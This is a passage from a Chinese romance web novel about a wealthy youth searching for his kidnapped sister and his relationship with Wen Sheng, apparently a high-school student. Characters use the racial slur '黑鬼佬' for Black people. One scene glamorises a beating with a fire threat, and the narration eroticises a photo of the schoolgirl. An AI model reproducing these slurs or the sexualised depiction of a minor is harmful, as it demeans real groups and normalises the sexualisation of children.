僻静冷清的马路,偶尔有汽车和摩托车驶过,李樊还是背朝他,握紧方向盘的手背关节突起发白,声音难掩紧绷:“你都知道什么?”
路泊汀舒畅地伸直长腿,抬眼接着问:“您知道他现在在哪里吗?”
不给他反应的机会,手背倏尔击向他的靠背,声音隆响,又恍然道:“不出意外下周就出狱了,这对你这个哥哥来说应该算个好消息吧。”
晚上庵加河发来消息,李樊和温志强是同母异父的兄弟,十七年前温志强因犯拐卖儿童罪、□□ 罪、故意杀人罪,数罪并罚被判处死刑,但多亏有他这个哥哥在,量刑减为死缓,这些年在监狱里又表现良好
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,最后改为十八年有期徒刑。
赵博一年前确实给路家和温声寄过两封信,但被路泊汀截了胡,信里提到温声的亲生父亲是拐走路家女儿的温志强,他并不是只拐走黎雨这一个孩子,他的背后有一条成熟的人口贩卖产业链,就连温声这个亲生女儿他也没打算放过。
李樊就是里外接应他的那个人。
信里还提到他是五年后刑满释放。
但路泊汀最近查到温志强要被提前释放了。
他被打了个措手不及。
李樊这次直接转过头看向他,一张削瘦的脸失了色:“这些年我早就和他断了关系,他的事我管不了。”
路泊汀挑眉嗤笑,朝他比了个大拇指:“你够种,我现在一通电话就可以送你去坐牢懂么。”
李樊的脸又白了几分,将近五十岁的人,面若死灰几许狼狈。
车内彻底陷入凝寂。
路泊汀不着急,指尖轻弹酒杯发出哐当的清脆声。
大不了明天改签。
李樊再次出声,这次声音粗涩喑哑:“你说吧,要我怎么做。”
路泊汀重新靠回椅背,幽暗车厢内冷然沉邃的黑眸盯着他,没说话。
李樊喉咙微动:“我能做到的话一定会做。”
“温志强出狱后,不能留在江城。”
他的出现对路家来说绝对是颗定时炸弹。
李樊点头:“我会安排他出国……”
路泊汀不耐烦地打断他:“也别让他知道你在路家工作。”
深吸一口气,他继续点头。
路泊汀忽然似笑非笑地横了他一眼,又快速靠近,冷声道:“你最好祈祷路家真正的女儿还好好的活着。还有,”杯口对碰他面前的酒杯,杯身被撞倒,酒水溅满他的裤腿,“别打温声的主意。”
懒得再多扯他推开车门走了出去。
严霜冷冬,看到他随手拦了一辆出租车,李樊这才彻底瘫坐在座位里。
十八年前,他这个弟弟满日不务正业,但具体做什么行当他从没过问过,直到家里收到了法院的刑事案件传票,温志强因□□女大学生被指控,这件事后来被继父压了下来,但名声出去了,街坊邻居都知道他们家出了个□□犯,三十而立的年纪,没有女人敢嫁进来。
温志强找到他的时候,满脸悔过自责,说找不到媳妇总得留个后吧,他两年纪相近,一个内敛沉稳,一个暴躁厌气,他小时候身体弱却全是靠这个弟弟照顾过来的。
为了补报只能把主意打到快要临产的姚书文身上。
只不过几个月后温志强再次被刑拘逮捕,他这才知道他杀了人,而且还多次拐卖儿童,之前被强 奸的女孩被迫生下温声后,温志强直接闯到她家里去抢孩子,打算和黎雨一起被运去云南,两人争夺过程中他下了死手,用一根粗麻绳勒死了她。
温志强入狱后,他怕牵连到自己,只好送两个没满岁的婴儿去福利院,她两的名字还是他取得,在温志强的刑期被改为有期徒刑时,路家刚好查到了女儿的下落,私虑到他出狱后年纪大了没有孩子照顾他,而温声又突然被福利院打算送出国,急不暇择下他只能调包,好在那段时间路康和姚书文一直在国外赶不回来,福利院的一系列手续都经由他手。
但他怎么也没想到他办理的手续行径和伪造的亲子鉴定被查到了。
47. 练舞
舞蹈大赛的负责老师吴悦琴在课间找了一次温声,让她换节目,之前定的舞已经有同学排了。
想想也知道是谁。
温声抿唇,还有不到十天就比赛了,只能晚上放学后加时间排练了。
“阿声,我们是这周六去上河吗?”
她扫了一眼刚发的月考成绩单。
总成绩班里第十三名。
进步挺大。
“周六早上十点,我在你家小区门口等你。”
江乐橙刷着手机小声道:“不知道你看新闻了吗,最近学校附近贴了好几个寻人启事,高一就有女生上周失踪了,报案后到现在都没找到。”回头又提醒她,“年底了你晚上回家一定要注意安全啊。”
小时候在福利院,有近一半的孤儿是从生下来就被拐走的。
成绩单“啪”的一声扣回桌面,温声扯唇冷笑:“先不说他敢不敢拐我,我要是遇到人贩子,我第一个让他吃不了兜着走。”
声音有点大,换到靠墙位置的贺厉看了她一眼。
江乐橙手指轻摇:“你是打不过一个成年男人的,最好的办法就只有跑,被抓到很难逃脱。”
温声给了她一个就知道你会这么说的表情,低头从书包里掏出一小只防狼喷雾给她看:“路泊汀给我的,据说很好用。”
又掏出一只新的塞她手里:“希望我们都用不到,但准备一只准没错。”
“阿声,有人找你。”站在班门口的同学朝她喊话。
温声看向班外,课间就十分钟,这都快打上课铃了,快速起身抱着保温杯出了班门。
赵月清。
她倚在门框,淡声道:“有事吗?”
赵月清个子不高,但身材细条,笑起来梨涡嗔婉朱唇玉面,是个标致美人。
但她不觉得两人有什么值得打交道的关系。
赵月清递过来一只手机盒,全新未拆封的最新款:“上周不小心弄坏了你哥的手机,他之后应该很少来学校,所以作为赔礼麻烦你转送一下可以吗?”
怎么人人都知道他两是兄妹关系了?
温声不动声色地瞅了一眼盒子,大几千的东西真舍得送,于是继续打马虎:“你不知道吗?我和他关系很差劲诶,万一我收了他不要,你这东西不就白送了。”
赵月清盈盈浅笑道:“只要让他知道我有这个心意就行,他收不收不重要。”
什么意思?
敢情她没有路泊汀的联系方式啊?
哎哟。
温声忍住笑装出一副蛮可惜的模样无奈道:“我家哥哥脾气很怪的,擅自做主这种事我不敢做,有机会的话你自己给他吧。”
说完朝她晃了晃手里的保温杯就进了班。
铃声这时响起,赵月清又凝了一眼她的座位,捏紧手里的盒子转身离开。
温声趁老师在写板书,快速掏出手机发了一条表扬的消息。
声声怪:我宣布你已经成为一名优秀的男朋友了。
他简直秒回。
L:叫老公。
她对着黑板翻了个大大的白眼。
不出所料被老师抓到了叫起来回答问题。
晚上放学后,温声去停车场找庵加河,他敞开车门低头正在发消息:“我今晚需要排舞,结束后我自己打车回就好,你不用等我。”
排完舞都快晚上九点了,让他一直等也不是办法。
庵加河抽空抬眼看她:“你结束后给我回电话,我必须送你回家。”说完温雅一笑,“我不让小姑娘自己走路。”
思忖片刻,温声还是问出了口:“路泊汀去美国到底是去做什么了?”
给舅舅帮忙也不至于去的这么匆忙。
回完消息,手机扔回烟灰缸,庵加河扯唇接着不紧不慢的笑,宽慰她:“姚叔缺人手,本来也在叫我,但我这不是学习差只能呆学校么?”说完想到自己的成绩好像确实很烂,又是一声哼笑。
知道问不出什么来,温声只好点点头回了教学楼。
她换了舞种,改成跳民族舞,而且还选了一组难度系数更高的动作,换好衣服后,练舞室已经站满了人,她是独舞,先是跟着老师排练了一遍,大致掌握了新学的动作后又退去角落自己一个人练。
唐媛瞥到她练舞的背影,走到吴悦琴面前:“吴老师,温声选的这支舞的动作和我们组的《春日》有一部分重合。”
如果动作重合太多会被直接取消参赛资格。
吴悦琴叫来温声:“你重新跳一遍,我看一下你的动作。”
她看都没看唐媛一眼,一言不发直接来了一段漂亮利落的舞蹈。
吴悦琴眉梢舒展开:“不错,舞步很流畅身体的控制力也很好。”又看向唐媛,“重合的动作不多可以忽略不计。”
等老师走后,温声才开口:“你真没必要这样,我们跳的舞种不一样,参赛组别不一样,就连评委老师也不一样,好好跳你自己的舞不行吗?”
唐媛没说话,撞开她的肩侧走到另一边场地。
练到中途,温声的小腹突然一阵闷痛,刚要蹬腿时下身一股热流涌了出来。
坏事了!
她忘了这两天要来例假。
没穿打底裤的白色舞裤立马被染红,从镜子里看很明显。
唐媛旁边的几个女生若无其事地看向她的裤子,又面隐窃笑地移开眼睛,有一个还笑出了声,声音在空旷的室内有几分刺耳。
温声觉得不可思议,睁大眼睛问:“来例假是一件很羞耻的事情吗?”又直直看向那个笑出声的女生,“你在笑什么?”
坦然神情下满是另眼诧然。
那个女生被怼红了脸,半天没吭一声。
看了眼墙上的挂钟,离练舞结束还要一个小时,趁中途十分钟的休息时间,她从书包里翻出卫生巾去了走廊靠边的卫生间。
刚换好后听见门锁咔嚓一声。
门被外面锁上了。
温声深吸一口气,背紧贴身后的瓷墙,手机在卫生间里信号很差,她调大声音打开录像,盯着门锁半晌没有出声。
门外的几个女生面面相看,小
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声道:“她怎么不叫啊?”
等不及,唐媛提议都先回去,等老师点过名后再放她出来。
诚心要让她早退,被踢出比赛名单。
听到她们轻声离开后,温声关了手机左右看了看,门实在太高爬不上去,底下的空隙又太窄,左右的墙壁也没有任何借力的东西,门上只有一排挂包的挂钩,她使劲卸下后又踩上马桶盖,踮脚竖起那排挂钩挂在门梁上,向下扯了扯,还算结实,借着马桶的高度她向上一跳,一手抓住挂钩另一只手用力扒在门梁上,手里向下拽挂钩借力时,腿部内膝快速□□门框增加摩擦向上爬。
直到半个身子爬了出去,温声朝地面一看。
高度绝对超过两米。
担心直接跳下去会崴脚,她小心地抬起一条腿跨过门梁,上半身也转了个方向,在身体全部转到门外后,她才两只手扒紧门梁,让身体垂直贴在门扇上,微微曲起腿给身体一个缓冲。
1、2、3
跳!
跳到地面脚腕一阵发麻,但好在不是崴了脚,开了门锁,从门上取下那排黑色挂钩。
已经被她拽的变了形。
温声两手相合朝它歉然一拜,又快速转身洗了手跑回练舞室,好在老师还没点到她。
唐媛和那帮小姐妹看到她后脸上的表情各个都很精彩。
温声对着镜子朝她侧额露齿一笑:你就这能耐?
练舞结束后,她换了衣服背上包径直去了学校的监控室,申请调取刚才在厕所门口唐媛一行人的视频,再加上手机录音,时间都对得上,值班老师填完记录后直接上报到教导主任办公室。
既然好人当不了那恶人也要先由她来当。
晚上九点半,温声不想麻烦庵加河,拿出手机打算叫车,结果刚出校门就看到他的车已经停在马路对面了。
快步跑过去,副驾坐了人,她多看了两眼,主要那头粉色寸头太显眼了。
边苳朝她点了点头当作打过招呼。
后排还坐了一人,就更花里胡哨了,同样的圆寸染成惹眼的电光蓝,这会没什么骨头似的整个人瘫在座位上,看到她后示意性往旁边挪了挪,两条长腿依然叉的很开。
就很不绅士。
温声拢着腿挤在他旁边。
路泊汀的朋友是真的都很……神奇。
她刚坐下,肚子就叽里咕噜响了起来,从放学到现在将近三个小时,她还没吃饭。
庵加河开了音乐,很烧的摇滚:“先带你们去吃点夜宵。”
边苳拉开画袋掏出一小只饭团从前面递过来,神情依然疏淡:“吃这个垫垫肚子吧。”
还是热的。
庵加河突然插进来:“为什么没我的份?”
他也很饿啊。
边苳转过头悠悠塞上耳机。
车内暂时陷入有点尴尬的静寂,庵加河耳尖都红了。
温声捏着手里的饭团吃也不是不吃也不是。
旁边的何让生突然笑了声,伸腿踢前面:“看你吃瘪比我做 爱都爽啊老狗。”
48. 初现
驱车到了一家本地很火的大排档,店内已经没有位置了,店员在外场给他们支了一张圆桌,这个点来吃饭的人大多是一群加班族和附近施工的工人,夜晚的时间总是带着散诞松快,周围几桌客人成扎成扎的上啤酒,空气里泛着爽然的烟火气。
女士优先,温声和边苳点了一些平时爱吃的汤饭和烤串。
其余两位随意。
温声时不时看两眼手机,晚上十点说好打电话,已经过了点手机依然没动静。
庵加河见她突然寡言少语,朝何让生挑眉,他只好取下嘴里还没点的烟,叫来店员上了一扎果啤,给几人满上后又咬着烟含混道:“哥几个都喝点呗,算我求你们了。”
很典型的何让生式聊天。
温声成功被逗笑。
吃到中途时,手机终于响了。
她嘴里的菠萝饭都没咽下快速接起视频。
“在干嘛?”声音低冷带点哑涩。
千年不变的开头。
他那边很暗,身后的窗帘被全部拉上,温声眯起眼看到他倚在沙发上只露出半边身子,戴了上次那副银色半框眼镜,深色卫衣帽子松垮兜在头顶,头发好像还泞着潮,外面又套了件黑色宽松夹克,她又往手机前凑了凑,他甚至还围了圈针织毛呢围巾。
整个人都罩在暗影里。
她迟疑地开口:“你感冒了吗?”
路泊汀歪头看她,唇角翘起好看笑意:“别皱眉啊宝宝,这边最近降温有点着凉。”
庵加河从旁边瞟了一眼屏幕,又给何让生打眼色,两人准备支开温声,她又问了句:“你怎么不开灯?”
他轻啧一声,觉得她很不乖:“别只顾着说我啊宝宝,”下巴点了点她的手心,“手怎么了?”
是她晚上爬厕所门时被门楞上面的铁钉划破的一道长红痕。
谁都没注意到,他看到了。
温声的视线成功被转移,微微扁嘴想和他说委屈,又怕他担心,只好浅笑道:“不小心划到了。”说完举起手在他面前看。
有点破皮。
“疼吗?”
她有点绷不住的红了眼圈,点了点头,又快速摇了摇头。
路泊汀靠向后背,手撑着脖子叫了声庵加河。
声音有点凉。
温声想解释,旁边的人已经靠近了,浅咳一声,伸手转过她手里的手机屏幕。
“我真不知道,今晚我去画室接其他两人了。”说完偏头朝他们挑眉,“我没说错吧?”
何让生嘴里叼着烟一副关老子屁事的狗样子。
边苳勉强点了点头。
庵加河又转过头摊开手:“你看吧。”
路泊汀离屏幕远,背景暗淡混茫,面容又被一副眼镜掩挡,温声只能看到他扯唇笑了笑,但庵加河明显就看到他撂了他一眼。
他简直有口无言。
“真没事,是我自己晚上跳舞的时候划的。”不想他担心,温声又说了一些其他小事。
本以为这事就过去了。
结果路泊汀从旁边摸出另一个手机,也不管国内是不是大晚上快十一点,这个扰人清闲的贱人他今晚就当了,拨了一通电话出去,他的眼睛还注在她身上,半晌淡声道:“我记得不久前我刚说过让您管好您女儿吧?”
温声立马就知道是打给谁的了,不知道他是什么时候发现的……
对面好像一直在说话,他耳侧夹着手机又朝庵加河打了个手势,眉梢耷拉很不耐烦:“别扯那么多,再有下一次这个学她可以不用上了。”
直接挂了电话,他瞅了她一眼:“以后当场打回去,别客气。”
温声轻抿唇。
其实她自己不菜的……
庵加河起身歉然一笑从她手里抽走手机,“借我聊会啊妹。”又踢了踢旁边的何让生,两人去了旁边的空地。
温声看他们打视频还要躲着自己,就觉得不太对劲,想跟着过去,边苳从包里翻出创可贴,撕开后举在她面前,神情依然寡淡:“手伸出来。”
唔……
温声真觉得自己一个人很OK。
有点别扭的伸出手心,看她低头细致轻柔地给自己贴创可贴,温声又快速侧头看了那两人一眼,轻声问了句:“你和庵加河在一起了吗?”
她听路泊汀说庵加河下学期要出国。
边苳贴了两片创可贴,随手把纸屑放进画袋,朝她勾起今晚第一抹笑:“我们没可能。”
另一边
“你行不行啊?没废吧?”庵加河凑近屏幕盯他。
何让生咬着烟轻笑:“没死就行。”
路泊汀扯下围巾,脖子有一道发紫的指痕,又摘下眼镜,眼尾一片淤青,半个手臂还打了石膏,摇头掀唇一笑:“哥们差点人没了。”
一副笑谈诙谐的样子,但两人都知道他这趟蛮艰难:“找到没?”
他耸耸肩,摸遍了衣服没根烟又啧了一声,拿起桌上的笔手指灵活转动,半晌低声道:“还在等。”
垂眼视线凝在低处。
少见的恹倦失迷。
何让生倏尔提了一句:“温志强已经出狱了。”
路泊汀和庵加河同时看他,他吐了口烟圈自顾自地说:“之前查到的信息有误,人出来一个月了。”
庵加河一拳捶到他肩膀:“你不早说?”
一个月,谁知道这人现在跑哪去了。
路泊汀感觉伤口更疼了,舌尖顶了顶脸颊,转过头吸了口气,又扬了扬手。
让再给他一拳。
庵加河的手还没举起来,何让生又欠欠一笑:“怕什么,碰到就干呗。”
他从不惯着任何傻逼。
话音刚落,身后就起了冲突,一个穿着工地马甲的男人提着酒瓶朝温声和边苳走了过去。
庵加河匆忙挂了电话,挂前又保证了一遍会帮他照看好温声。
“让开,少多管闲事!”
工地男不知道是不是喝醉了,刚才径直坐到邻桌女生的腿上,她是一个人来吃饭的,没反应过来倒吸一口气,但他更来劲了,张着酒气熏熏的嘴朝她的脸亲了上去。
这谁能忍啊?
温声离女生近,起身快速抓起她的胳膊拽了过来。
工地男亲空了,晃着身子站起来,拿了桌上的空酒瓶朝她们这桌走来,边苳和温声全部挡在女生面前。
周围几桌吃饭的人都在迟疑观望,温声也拿起桌上的酒瓶对准他,手有点抖,说不怕是假的:“往后退,再走我就报警——”
还没说完,面前的男人就被旁边踢过来的板凳一撞,身子歪跌在地。
何让生手里的烟弹他身上,吹了声口哨:“需要给你撒泡尿照照自己么?”又伸眉上下扫他,继续说完,“老畜生。”
……
温声有些难言的扶起板凳。
庵加河手里拍着手机走过来,站在边苳身前:“怎么了?”
何让生下巴点了点地上的人,“有人欺负你老婆呗。”
一旁的边苳不屑的支起下巴。
地上的男人本来就是装醉,逮到机会开始撕心裂肺的乱喊:“打人了打人了!”又看向何让生,手指着他,“就是这个不男不女的娘炮动的手!!”
周围人冷眼看他,没人愿意当个瞎子。
庵加河一个没忍住笑了出来,敢叫何让生娘炮他是第一个。
何让生一滞,掏
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掏耳朵回头看他:“这傻逼刚说了什么?”
没什么耐心,他转了转手指的戒指,凸起的尖锐蛇头直直砸向对方的脸上,力度狠绝,男人的后脑勺磕地,头骨一阵剧痛,鼻口也涌上血腥味,他快速抹过鼻血,接着又响起聒噪刺耳的尖叫声:“救命啊杀人了!有人杀人了!救救我!!”
老板站在一旁本着能劝就劝劝不了找警察解决的原则,正拿出手机准备报警,被庵加河圈住肩膀带进了店里,笑的格外温雅:“现场能解决的事就别麻烦别人了吧老板。”
温声让那位女生赶紧收拾东西走人,周围几桌客人看到地上的血迹,避免惹事招非也快速打包了剩下的吃的。
何让生伸出手,手掌宽大指节分明修长,朝地上的男人晃了晃手指,皱眉道:“好看么?”
那男的还没缓过劲,那一拳砸的他视线模糊,嘴里诅骂不止,不是杂种就是娘炮。
可惜,没人搭理他。
何让生蹲下身,指尖凑到他眼前,轻声重新问道:“好看么?”
“死……”快要说出口的话被堵截,何让生抓住他的手扭了个方向塞进他嘴里,又在他没反应过来时拽紧他的头发狠厉砸向水泥地上,声音钝重 。
后脑尖厉的阵痛和晕厥感直袭额门,工地男摊在地上一时没缓过劲来,眼前白蒙蒙一片。
生怕脏了手,何让生站起身,鞋子踩在他脸上,从兜里掏出烟盒,刚买的他只抽了两根,又挑出两根,手指捻开烟丝洒在他脸上,随即点开打火机靠近他,一副老子就是有病的疏狂表情问他:“好看么?”
感受到橘色火光就贴在脸上,炙灼的温度挨近眼前,工地男猛地反应过来,身体开始剧烈摆动,但脸被踩压动弹不了,只好粗着嗓子退步:“好看好看好看……”
何让生觉得没劲儿透了,又往他身上踹了一脚,拿过温声手里没喝完的酒浇在他头上,倒完还觉得不够,又让她去拿一瓶高度白酒。
温声无声地瞅他,不懂他怎么突然跟一个醉酒男杠上了。
但还是去拿了一瓶白酒。
“以后还招惹女的么?”
工地男脸疼的感觉颧骨都要被踩碎了,嘴里断断续续地讨饶道:“不敢了,真不敢了……”
开了酒,白酒尽数倒在他头上,最后酒瓶悬在半空,鞋尖勾过他的脸。
手指松开。
啪——
酒瓶直挺砸在他脸上,瓶身破裂,碎片四溅。
他的脸也被尖锐划破了几道口子。
何让生移开鞋尖,弯腰继续点开打火机,靠近他时扯唇笑的够恶劣:“不想自焚三秒内闪人。”
工地男看见打火机靠近,吓得抱紧头连滚带爬从他脚下蹿了出去。
“喂。”
身后又是慵懒的一声。
腿软的根本跑不快,他只好停下转过身。
何让生冷眼睨着他:“以后看到我们这波人有多远滚多远,懂了?”
说完手里点开的打火机朝他比了个抛掷的动作。
工地男又惊又慌脸色煞白,扶着路边的栏杆死力向前跑。
庵加河盯着他跑远的背影微蹙眉:“这人好眼熟。”
何让生收起打火机,又扯过一旁的纸巾擦手,视线瞟过温声,她和边苳正在帮老板收拾桌子,于是耸肩哼笑道:“不就是她那个傻逼生物爹。”
声音不大不小,其余三人正好都能听见。
温声抬眼看他,睁大眼睛茫然询问:?
何让生丢掉纸巾,徐徐冒出一句:“Sorry。”
庵加河终于把路泊汀的那拳还他身上了,“那你还他妈放他走?”
说完掏出手机立马报备。
49. 线索
美国芝加哥
赵博在信里只提到黎雨的养父母十几年前在中国城开饭店,没有任何联络方式和照片信息,只找到一位当年和王亚兴一起做过生意的供应商老板。
晚上八点,敲门声响起。
这位连锁超市的亚裔老板性格很和善,许是也想知道很久未联系的旧友消息,几天前收到路泊汀的邮件后当即就决定见一面。
“王亚兴以前开的火锅店生意很火爆的,每天要从我这里进两次货,老婆孩子经常会在店里帮忙。”
路泊汀微蹙眉:“既然生意很好,为什么会住在贫民区?”
领养登记材料里提到的住址在芝加哥较安全的北城区,但陈东在电话里说道他们又搬到了最南边,而且还是黑人帮派集中的区域。
陈东哎哟一声脸上忿满不平:“你是不知道啊,阿兴父母以前在南郊开汽车维修厂,后来就在附近买了房,两个老人都是糖尿病,每个月的医疗费就是一笔大支出,他还有个不学好的兄弟,常年和黑鬼佬混在一起染上了嗜瘾,赖在那个家里每天花销很大的,一家老小都要阿兴养,而且有段时间店资金周旋不开,他只能卖掉北城的房子。”
“你们多少年没见了?”
“满打满算八年了。”
八年,足够一个人改名易姓淡出原有的生活轨迹。
陈东沉思片刻还是打算说出来:“八年前他们那个老房子发生了纵火案,死了两个人,具体是谁我们都不清楚,没过多久他就转了店搬走了。”
路泊汀的心猛然一跳,重复道:“两个人?”
“这还是我们那一片万事通老阿嬷说的,死了一男一女。”
陈东见他站着没说话,又说道:“你大老远跑来找你妹妹根本就不现实,先不说能不能找到,就算找到,阿兴一家也不会让你认亲的。”
养了十几年的女儿,说带回国就带回国,这也说不通啊。
半晌,路泊汀又问了句:“被烧毁的房子现在还有住户吗?”
“不知道,但是两年前我在中国城遇到过他那个兄弟。”陈东看了他一眼,拍了拍他肩膀摇头道:“不要去那里,那一片现在住的是一群帮派黑鬼佬,很不安全的。”
说完又从包里拿出一个文件夹,“你让我查的领事馆那边的领养档案短期内是拿不到的,Rainia只在学校呆了一年,信息同样不多,现在只查到他父母之前去的社区医院记录。”
然而这些信息都不重要。
查了这么久没有任何消息,王亚兴一家如果不是出了意外,就是刻意隐避。
“店是什么时候转出去的?”
“很匆忙,不到一周,我有急事去了外地,回来后他都离开了。”
路泊汀取出一张卡递给陈东,低声道:“领事馆的档案如果有消息麻烦尽快联系我。”
陈东摆了摆手推开那张卡,叹了口气:“我不缺钱的呀孩子,我也希望能尽早找到他们,总得让我们知道是死是活吧?”
路泊汀支着手没有收回,头微垂看不出情绪,他在芝加哥留不了多久,姚书文最近盯他很紧,提前和姚洲远打了招呼,让他接到侄子后回视频电话,他舅在机场没接到人,只好替他打掩护。
两天后必须离开。
酒店离被烧毁的老房子就两个街区,位置很荒僻,而且离市区很远,酒店只有六层,没有做现代化翻新,前三层基本被黑人和一些拉丁裔包了,走廊时不时传出几道鬼叫声,附近没有人流密集的建筑,只有一间破旧的污水处理厂和小型百货超市,难闻的气味不断从窗外飘进来,整个街区充斥荒落脏乱。
以及治安不济的不安分。
陈东抬手看时间,掀开窗帘又看了一眼窗外,旁边就是一座天桥,隐约能看到几个流浪汉躺在角落,他思忖片刻,还是决定帮一把:“今天众多帮派在城西的社区公园聚会,城南人应该会少一些,我今晚可以带你去看看。”
两人开车先在附近溜了一圈,陈东递给他一把半自动手枪,又指了指不远处站在平房旁铁栏前的人,“看到他们身上的纹身了吗?这种就是这片区域的帮派放哨小弟,他们身后的终点站就是交易窝点,不要和他们说话,遇到的话转身就走。”
路泊汀手指随意摩玩枪管,又看了一眼那两人,寒风天气只穿了一件黑色背心,胸口刺有大片的恶魔角纹身,还有一人左脸从眼角延伸向嘴角刺了数字6,这条街没什么路灯,仅有的路灯就在他们附近,看到有车驶来,两人从倚靠的姿势微微站直,眼睛直视过来,带着难以捉摸的探看。
他收回视线,这会还有心情调侃:“这枪怎么用?”
实在是没摸过枪啊。
陈东开出环形土路来到了大路上,两边道路逐渐有了路灯,附近停靠的车也变多,他停到一处角落,在车里教他怎么启动保险和手枪上膛,又给他看了一眼里面的弹夹,最后开了虎口保险举手示范,“一般情况下不要开枪,黑人很难缠,紧急状态下再开。”
刚说完附近就响起了枪声,两人从后视镜看车后,有一辆越野车疾驰而过,车后的尾灯被打掉了一只,陈东立马关了车灯熄了火,“这种就是任意扫射,逮到这帮黑鬼心情不好可能会直接扔流弹。”
衣服里的手机突然有消息提示。
温声甩来一张图,没有任何文字。
她早上试衣服在衣柜里翻出一条透色花卉黑丝,搭配烟灰色学院风包臀裙,脚蹬黑色及膝的尖头高跟机车靴。
修身俏皮的包臀裙下娇腻皮肤隐现在黑丝条纹里,又暧昧不明地束进黑靴,她微微别了一下腿,大腿匀称绵薄的软肉贴在裙沿,尤其还是俯视视角,暗色布料下的纤柔细腿更显出几分魅人肉感。
纤美清纯缠夹娇媚欲色。
偏偏,她还要竖起没什么威胁的细柔中指。
漫不经心的挑衅下满是若即若离的招惹。
呵。
路泊汀手指支着下巴摇头哼笑,随手存了图,又快速设为壁纸。
长指随意扫动。
L:记得多备几条黑丝啊宝宝。
陈东一直都在注意后面那一
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片区域的动静,又很快看了一眼他的手机屏幕,微微一笑:“你女朋友吗?”
他收起手机,看了一眼后视镜,心不在焉地应了一声。
“你们这个年纪谈恋爱很美好的,多谈几段攒攒经验。”
隔了一会,车内没什么声音。
路泊汀又把玩起那把枪来,后面住宅的庭院没有了声音,街道的路灯有几处暗了下来,他合上弹夹,又给枪上了膛,脑子聪明一次就会。
枪口从后视镜对准自己,淡声道:“我只要她。”
晚上十点,陈东开车终于绕开四处逼仄危险的横街,车停在一处两层高的住房前,房子外形老式破落,外围没被铁丝网合围,粗粗看过去,庭院内的杂草一堆一堆蓬蓬蔓生,两边靠近外沿的地皮裂开一条很长的隙痕,连接两层楼的楼梯木漆脱落,甚至有几节台阶从中间断折。
完全就是年久失修的危房。
“就是这里了。”陈东熄了火,“这不算私宅,一会可以直接敲门。”
路泊汀抬眼看二楼,窗户低窄,窗帘隐没灯光,只有昏黄的光影从窗帘两边空隙溢出,他紧了紧手里的枪,又别进后腰,随后从衣服里掏出手机递给他:“我一个人进,半个小时后我没出来你打给姚洲远。”说完又看了一眼手机屏幕,快速拿起后座的文件夹下了车。
陈东让他注意安全后就趴伏在方向盘上随时观察四周动静,路泊汀按了两次门铃没人接,但门是开着的,他推开后在玄关处又打了一声招呼。
依然没人影。
回头看陈东,他点了点下巴。
让他直接进去。
“你是谁?”
头顶响起一道突兀的喘息声。
路泊汀反手关了门,两手举起抬头看他,他站在楼梯拐角一脸戒惧的盯过来。
亚洲人。
陈东说两年前在中国城遇到过王亚兴的兄弟。
路泊汀丢下文件夹,再次举起两只手,用中文试探性地打招呼:“我和王亚兴认识,我记得这栋房子之前在他名下,只是路过想来看一眼他。”
果然,他也用中文回话,嗓音粗涩带着诡谲的怪腔:“你和我哥怎么认识的?”说完扫了一眼地上的文件夹,“那是什么?”
房间很安静,空气中漂浮着腥臊的酸臭气味,王亚光看上去精神疲倦两眼无神,半长不短的蓬乱头发像是很久没打理,一缕缕贴在脸侧,脸颊严重凹陷,他穿了一件白不白黄不黄的T恤,刺青从衣领露出来,细看和刚才那两人的图案很像。
帮派人员。
路泊汀不动神色地微微一笑:“以前和家人经常去他的店里吃饭。”一手放下另一只手继续举起,弯腰拾起地上的文件,又摊开给他示意:“我妹妹和Rainia以前是同学,很久没联系了,所以今天顺便过来想要一下她的联系方式。”
文件夹里是陈东查到的黎雨以前小学的信息。
王亚光突然一笑,浑浊发黄的眼睛重新上下打量他,笑意有几分刁钻狡谲,“你就是那个小婊子的中国家人吧?”
50. 受伤
听到这个称呼路泊汀下意识攒眉,也没必要装了,放下手又重新扔了文件夹,目光直盯他,语气恢复冷厉:“她现在在哪里?”
王亚光只是勾了勾手,“你上来我再告诉你,她现在过得可比我好太多了。”又忽然指向他的后腰,“枪放下。”
“我怎么确定你说的属实?”
他只是眉头上扬一副无所谓的样子,比了一个请离开的手势,“你可以不信,现在就走。”
路泊汀看了一眼角落的挂钟,他进来已经十分钟了,飞速扫过一楼和玄关,可以确定王亚光平时是一个人住,余光瞥见他一直在窥量自己。
上了这趟楼,祸生不测。
但他必须在路康和姚书文发现前找到黎雨。
最起码要知道她还活着。
取下后腰的枪丢在地上,又示意性掏了掏口袋,王亚光抬腿朝楼上走,下巴点了点让他跟上。
楼上的房间不足十平,桌上平铺了两个注射针头,锡纸随意丢弃在地板上,泡面纸盒堆置在房间门口,肉眼可见的颓态潦倒。
王亚光从柜子里翻出一本老旧相册夹,丢在床上,“看看吧,小婊子小时候长得很水嫩。”
路泊汀瞟过他,冷声道:“她叫黎雨。”
王亚光只是呵呵嗤笑,从桌上摸出烟点燃。
相册里是黎雨五岁到芝加哥后的剪影,和姚书文一样长了一张尖脸,眼睛乌溜明亮,脸颊有一弧很浅的酒窝,她总是穿一件红色的连衣裙穿梭在攘来熙往的菜市场,鲜丽身影在闹嚷喧杂的背景下仿佛一只水下萍踪的小精灵,黑亮细发被打理的很柔顺,还有一张是她背着一只粉色迪士尼公主的书包,一家三口对着镜头露齿一笑,她的笑靥可爱掬然。
看得出王亚兴一家在尽心照顾她。
这就是他的妹妹。
路泊汀抽出那张照片打算放进皮夹,被王亚光一手夺过皮夹,他两指挑开夹口朝里瞄了两眼,都是一堆卡,还有一张照片。
是之前两人观星时路人拍的背影。
“这是谁?”
路泊汀合上相册,伸手:“照片给我。”
王亚光捏着照片举起在灯下眯眼细看,和小婊子看上去差不多的年纪,手放下,照片依然捏在手里,“你说她叫黎雨是吗?她害死了我老爹你知道吗?”
他身上的气味实在难闻,路泊汀后退一步,手掌向上,“照片先还我。”
“那一场火灾就是她放的火,她妈和我老爹都被烧死了,她倒好,现在过得还好好的,好像已经收到了大学的通知。”王亚光转了身,手里的照片顺势揣进裤兜,边抽烟边数说。
路泊汀垂眼掠过他的裤兜,又看向他,“她为什么会放火?”
无缘无故地放火,他在扯什么?
王亚光朝他吹了口烟,卖关子道:“你说呢?”
“她现在在哪里?”
“别急啊,我们是不是可以聊聊报酬的事了?”
路泊汀又后退一步,下巴点了点钱夹,“你想要你都可以拿去,照片给我,黎雨现在的位置告诉我。”
王亚光低头整理了一下桌上的透明小袋,底部还有一层白色粉末,又朝他的方向摆齐注射针头和锡纸,手掌撑在桌上看他,“你吸一口,我就告诉你。”
路泊汀微斜额,半晌,神情冷冽黑眸半阖扫过他,“你说什么?”
